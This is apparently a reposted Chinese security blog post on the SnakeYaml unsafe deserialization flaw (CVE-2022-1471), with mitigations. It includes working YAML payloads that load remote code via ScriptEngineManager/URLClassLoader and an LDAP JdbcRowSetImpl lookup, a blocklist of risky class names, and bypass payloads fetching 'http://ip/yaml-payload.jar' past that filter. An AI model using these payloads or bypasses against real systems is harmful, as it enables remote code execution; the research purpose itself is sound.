原文:https://snyk.io/blog/unsafe-deserialization-snakeyaml-java-cve-2022-1471/
SnakeYaml安全漏洞概述
SnakeYaml是Java中广泛使用的YAML 1.1解析器和发射器。该库因其在Spring Boot中默认打包而广为人知。然而,最近的安全报告指出,SnakeYaml存在一个安全漏洞,攻击者可以利用这个漏洞执行任意代码。
漏洞的核心在于SnakeYaml的Constructor类存在缺陷,它没有限制可以反序列化的类型。这意味着攻击者可以提供一个恶意的YAML文件进行反序列化,从而可能利用系统。这个问题导致了不安全的反序列化问题,可能导致任意代码执行。
1Yaml yaml = new Yaml();
2File file = new File("file.yaml");
3InputStream inputStream = new FileInputStream(file);
4User user = yaml.load(inputStream);
在上面示例中从文件中加载 YAML 时,输入被解析为泛型 Object.class,这是 Java 中所有对象的父类型。在我们的代码中,我们期望一个 User 对象,但强制类型转换发生在对象加载到内存后。由于泛型 Object 类型,任何对象都可以被使用。如果应用程序的类路径中存在小工具或小工具链,这可能导致任意代码执行。
这与我们在 Java 中的序列化和反序列化以及Jackson ObjectMapper 的 Java JSON 反序列化问题一文中探讨的问题类似。
SnakeYaml vulnerability demo
为了演示脆弱的场景,我故意创建了一个小工具类。小工具类是一个在实例化时具有副作用的类,可以直接执行某些操作,也可以启动一个小工具链。在这种情况下,当调用构造函数时,小工具执行给定的命令。
1public classGadget{
2 private Runnable command;
3
4 public Gadget(String value) {
5this.command = new Command(value);
6this.command.run();
7 }
8}
当这个Java类可用时,我使用之前给出的代码对我的YAML进行反序列化,可以向YAML文件中提供以下内容:
1!!nl.brianvermeer.snakeyaml.Gadget ["touch myFile.txt"]
这意味着我可以针对类路径中可用的任何 Java 类使用 SnakeYaml 进行特定目标。因为该类已经在我的类路径中,并且 SnakeYaml 会创建对象,而不考虑预期的类,我最终会遇到 ClassCastException。然而,伤害已经造成,并且命令已被执行。在类路径中有可用的小工具或小工具链可能会导致灾难性的情况,比如反向 shell 攻击。
SnakeYaml漏洞在实际应用中有多严重?
在上面的示例中,几乎没有人会像我们所做的那样创建一个小工具。但是,引入第三方库会增加您在代码中出现以这种方式创建的小工具的机会。快速查看 ysoserial GitHub 存储库,或者 jackson-databind JSON 编组库中可能的反序列化问题列表,显示风险潜力很高。jackson-databind 的区别在于 jackson 默认情况下不启用 defaultTyping(如我们在先前的漏洞提及中所描述的)。恶意行为者还可以使用 JDK 中的一些类来造成一些损害。例如,ScriptEngine:
1!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://localhost:8080/"]]]]
此 YAML 输入连接到一个 URL,可以将有害内容下载到您的应用程序中,正如在这篇 Websec 文章中所解释的那样。另一个例子(取决于您运行的 Java 版本)是 JdbcRowSetImpl 类,它可以利用 LDAP 请求进行查找。这可能会导致类似于不久前看到的 Log4Shell 的风险。
1!!com.sun.rowset.JdbcRowSetImpl
2dataSourceName: "ldap://localhost:9999/Evil"3autoCommit: true
更多信息,请查看SnakeYaml的Bitbucket问题。
如何判断是否受到SnakeYaml漏洞的影响
是否受到这个漏洞的影响取决于你如何使用这个库。如果你以类似于处理XML和JSON对象的方式从其他来源加载自定义YAML数据,你可能会受到威胁。一般来说,你不应该接受来自未知来源的这些输入。
建议
-
始终使用受信任的数据源:不要从不信任的来源加载YAML数据。
-
使用SafeConstructor:在创建Yaml对象时,使用new Yaml(new SafeConstructor()),这样可以避免不安全的反序列化。
-
定期扫描依赖关系:使用像Snyk这样的工具,可以实时扫描已知漏洞,并提供可行的修复建议和优先级评分,以便你可以最大化你的修复工作的影响。
怎么挖:
找到使用yaml 格式的配置文件或资源应用,尝试构造yaml poc
都怎么防的?
private static final String[] RISKY_STR_ARR = {"ScriptEngineManager", "URLClassLoader", "!!",
"ClassLoader", "AnnotationConfigApplicationContext", "FileSystemXmlApplicationContext",
"GenericXmlApplicationContext", "GenericGroovyApplicationContext", "GroovyScriptEngine",
"GroovyClassLoader", "GroovyShell", "ScriptEngine", "ScriptEngineFactory", "XmlWebApplicationContext",
"ClassPathXmlApplicationContext", "MarshalOutputStream", "InflaterOutputStream", "FileOutputStream"};
这段Java代码定义了一个名为RISKY_STR_ARR的字符串数组,其中包含了一系列的字符串元素。这些元素代表了一些可能存在安全风险的类名或者与安全相关的关键字。这个数组可能被用于安全检查或者过滤,以确保在处理输入或者执行某些操作时,不会涉及到这些可能带来安全威胁的类或关键字。
看似ban了!!
参考浅蓝师傅的文章:https://b1ue.cn/archives/407.html
放出bypass
!<tag:yaml.org,2002:javax.script.ScriptEngineManager>
[!<tag:yaml.org,2002:java.net.URLClassLoader> [[!<tag:yaml.org,2002:java.net.URL>
["http://ip/yaml-payload.jar"]]]]
%TAG ! tag:yaml.org,2002:
---
!javax.script.ScriptEngineManager [!java.net.URLClassLoader [[!java.net.URL ["http://ip/yaml-payload.jar"]]]]
参考:https://tttang.com/archive/1815/
原文始发于微信公众号(黑伞安全):SnakeYaml 中不安全的反序列化漏洞 (CVE-2022-1471) 有感
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论